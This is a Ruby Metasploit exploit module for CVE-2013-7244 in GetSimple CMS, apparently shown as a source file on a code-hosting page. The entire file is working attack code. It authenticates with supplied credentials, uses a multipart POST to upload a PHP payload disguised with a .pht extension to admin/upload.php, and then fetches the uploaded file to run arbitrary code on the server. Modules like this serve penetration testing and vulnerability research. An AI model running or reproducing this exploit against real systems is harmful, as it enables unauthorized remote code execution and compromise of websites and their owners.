Ahmed Elhady Mohamed
150 lines
4.9 KiB
Ruby
150 lines
4.9 KiB
Ruby
##
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# This module requires Metasploit: http//metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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require 'msf/core'
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require 'msf/core/exploit/php_exe'
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class Metasploit3 < Msf::Exploit::Remote
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Rank = ExcellentRanking
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include Msf::Exploit::Remote::Tcp
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include Msf::Exploit::Remote::HttpClient
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include Msf::Exploit::FileDropper
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'GetSimpleCMS PHP File Upload Vulnerability',
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'Description' => %q{
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This module exploits a file upload vulnerability found in GetSimple CMS
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By abusing the upload.php file, a malicious authenticated user can upload an arbitrary file to a upload
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directory, which results in arbitrary code execution.
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},
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'Author' =>
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[
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'Ahmed Elhady Mohamed' # @kingasmk
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],
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'License' => MSF_LICENSE,
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'References' =>
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[
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['CVE', '2013-7244'],
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[ 'OSVDB', '93034' ]
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],
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'Payload' =>
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{
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'BadChars' => "\x00",
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},
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'Platform' => 'php',
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'Arch' => ARCH_PHP,
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'Targets' =>
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[
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[ 'Generic (PHP Payload)', { 'Arch' => ARCH_PHP, 'Platform' => 'php' } ],
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[ 'Linux x86', { 'Arch' => ARCH_X86, 'Platform' => 'linux' } ]
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],
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'DefaultTarget' => 0,
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'DisclosureDate' => 'Jan 04 2014'))
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register_options(
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[
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OptString.new('TARGETURI', [true, 'The full URI path to GetSimplecms', '/GetSimpleCMS']) ,
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OptString.new('User', [true, 'The username that will be used for authentication process', '']) ,
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OptString.new('Pass', [true, 'The right password for the provided username', '']) ,
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OptString.new('Upload_dir', [true, 'The upload directory, where uploaded files are located', '/data/uploads/'])
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], self.class)
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end
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def authenticate_prcoss(peer, uri)
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#data_post = "userid=#{datastore['User']}&pwd=#{datastore['Pass']}&submitted=Login"
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res = send_request_cgi({
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'method' => 'POST',
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'uri' => "#{uri}admin/index.php",
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'vars_post' => {
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'userid' => "#{datastore['User']}",
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'pwd' => "#{datastore['Pass']}",
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'submitted' => 'Login'
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}
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})
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if res.class == NilClass
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fail_with(Failure::Unknown, "#{peer} - Authentication Failed!")
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return
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end
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if res.code == 404 or res.code == 400
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fail_with(Failure::Unknown, "#{peer} - URI Path is Not Correct - Page Not Found!")
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return
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end
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if res.code == 200
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fail_with(Failure::Unknown, "#{peer} - User Credentials are Wrong, aborting!")
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return
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end
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if res.code == 302
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return res
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end
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end
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def upload_file(payload_name, uri, cookie_http_header)
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boundary = Rex::Text.rand_text_hex(7)
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post_data = "--#{boundary}\r\n"
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post_data << "Content-Disposition: form-data; name=\"file[]\"; filename=\"#{payload_name}\"\r\n"
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post_data << "Content-Type: application/x-httpd-php\r\n\r\n"
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post_data << "<?php "
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post_data << payload.encoded
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post_data << " ?>\r\n\r\n"
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post_data << "--#{boundary}\r\n"
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post_data << "Content-Disposition: form-data; name=\"submit\"\r\n\r\n"
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post_data << "Upload\r\n"
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post_data << "--#{boundary}--\r\n"
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res = send_request_cgi({
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'method' => 'POST',
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'uri' => "#{uri}admin/upload.php?path=",
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'cookie' => cookie_http_header,
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'ctype' => "multipart/form-data; boundary=#{boundary}",
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'data' => post_data
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})
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return res
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end
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def exploit
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payload_name = rand_text_alpha(rand(10) + 5) + '.pht'
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uri = target_uri.path
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uri = normalize_uri(uri, '/')
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print_status("#{peer} - Using The Provided Credentials for Authentication.")
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res = authenticate_prcoss(peer, uri)
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print_status("#{peer} - The authentication process is done successfully!")
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print_status("#{peer} - Extracting Cookies Information")
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cookie_http_header = res.get_cookies
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upload_file(payload_name, uri, cookie_http_header)
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print_status("#{peer} - Uploading #{payload_name.downcase} File.")
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print_status("#{peer} - #{payload_name.downcase} File uploaded successfully!")
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upload_dir = datastore['Upload_dir']
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upload_uri = "#{uri}#{upload_dir}#{payload_name.downcase}"
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print_status("#{peer} - Executing payload #{payload_name.downcase}")
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res = send_request_raw({
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'uri' => upload_uri,
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'method' => 'GET'
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})
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register_files_for_cleanup(payload_name)
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end
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end
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